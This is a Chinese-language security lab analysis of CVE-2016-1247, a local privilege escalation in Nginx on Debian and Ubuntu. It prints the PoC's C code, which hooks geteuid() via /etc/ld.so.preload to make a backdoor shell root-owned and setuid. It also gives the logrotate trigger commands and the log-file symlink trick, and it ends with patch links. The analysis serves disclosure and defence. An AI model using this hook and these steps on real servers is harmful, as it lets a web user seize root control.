Author: xd0ol1 (知道创宇404实验室)
data:2016-11-17
11月15日,国外安全研究员Dawid Golunski公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于Debian系列的发行版,Nginx作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。
Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从nginx/web的用户权限www-data到root用户权限的提升。
下述版本之前均存在此漏洞:
测试环境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3
PoC详见如下链接,给出的nginxed-root.sh脚本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限,执行PoC后结果如下图:
提示要等待,但我们可以通过如下命令进行触发:
/usr/sbin/logrotate -vf /etc/logrotate.d/nginx
提权后的结果如下:
3.漏洞利用分析
一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在Linux系统下,我们可以通过编译一个含相同函数定义的so文件并借助/etc/ld.so.preload文件来完成此操作,系统的loader代码中会检查是否存在/etc/ld.so.preload文件,如果存在那么就会加载其中列出的所有so文件,它能够实现与LD_PRELOAD环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于Windows下的DLL劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的PoC就是利用的这个技巧。
关于hook操作,简单来看就是如下的一个执行流程:
在PoC利用中与此相关的C代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对geteuid()函数的hook,在hook调用中就能执行我们想要的恶意操作。
#define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> /*hook原geteuid()函数*/ uid_t geteuid(void) { //定义函数指针变量 static uid_t (*old_geteuid)(); //返回原geteuid()函数的指针 old_geteuid = dlsym(RTLD_NEXT, "geteuid"); //在调用原geteuid()函数的同时执行想要的恶意操作 if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); }
我们可以将上述代码编译后来做个简单的测试,结果如下图,观察nginxrootsh文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然hook是成功的,和PoC相同这里也是通过sudo来触发hook调用。
接下来我们考虑下如何将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx在配置log文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现www-data到root的权限提升。为了看的更清楚,我们首先将目录/var/log/nginx/下的文件全部删除,再重启下nginx服务,最后执行如下两条命令:
$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
此时得到的结果如下图所示:
可以看到error.log文件的属性为:
-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log
将其软链接到/etc/ld.so.preload文件就可以了,这里为了简单测试,我们将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时www-data用户是可以对/etc/xxxxxxxxxx文件进行写操作的。
至此,我们将这些点结合起来就可以实现对此漏洞的利用了。
Nginx官方已经修复,用户应尽快更新至最新版本,可参考以下官方链接进行修复。
Debian 系统 https://www.debian.org/security/2016/dsa-3701 https://security-tracker.debian.org/tracker/CVE-2016-1247 Ubuntu 系统 https://www.ubuntu.com/usn/usn-3114-1/